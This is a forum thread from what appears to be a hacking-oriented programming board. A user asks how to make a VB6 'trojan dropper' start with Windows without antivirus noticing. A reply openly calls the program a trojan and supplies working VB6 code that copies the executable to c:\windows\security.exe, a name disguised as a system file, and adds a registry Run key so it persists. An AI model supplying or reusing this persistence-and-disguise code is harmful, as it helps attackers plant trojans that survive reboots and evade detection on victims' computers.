Help with autostarting!

Questions about programming languages and debugging
Post Reply
User avatar
3XTORTION
Fame ! Where are the chicks?!
Fame ! Where are the chicks?!
Posts: 246
Joined: 29 Jul 2007, 16:00
16
Contact:

Help with autostarting!

Post by 3XTORTION »

Hello guys!
Im making my new programm using VB6!
But.. i need to make it start everytime when windows starts.. So what is best/easiest way to make it start everytime? (Not binding.. some security programs can see the "trojan dropper" if i bind it with some binder program.)
So what is the best way to do it? :P

Sorry for spending your time!

bubzuru
.net coder
.net coder
Posts: 700
Joined: 17 Apr 2007, 16:00
17
Contact:

Post by bubzuru »

tell the trojan to make a copy of itself to a
location such as c:\windows\system\security.exe
then use the registry to add that program to startup

bubzuru
.net coder
.net coder
Posts: 700
Joined: 17 Apr 2007, 16:00
17
Contact:

Post by bubzuru »

here is how its done just in case
you didn't get what i said

add this code to a module

Code: Select all

Public Sub RegRun(Path As String, Keyname As String)
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & Keyname, Path
End Sub
im not guna say what its for that will be in the tut that i write

now add this to your vb project

Code: Select all

Private Sub Form_Load()

Dim p As String
Dim file As String

p = App.Path & "\" & App.EXEName & ".exe"
file = "c:\windows\security.exe"


If p <> file Then
FileCopy App.Path + "\" + App.EXEName + ".exe", file
RegRun file, "Testkey"
End If


End Sub

again im not guna say what its for that will be in the tut that i write :lol:

this is mainly floodhound2's code i just changed it a bit
hope this helps

Post Reply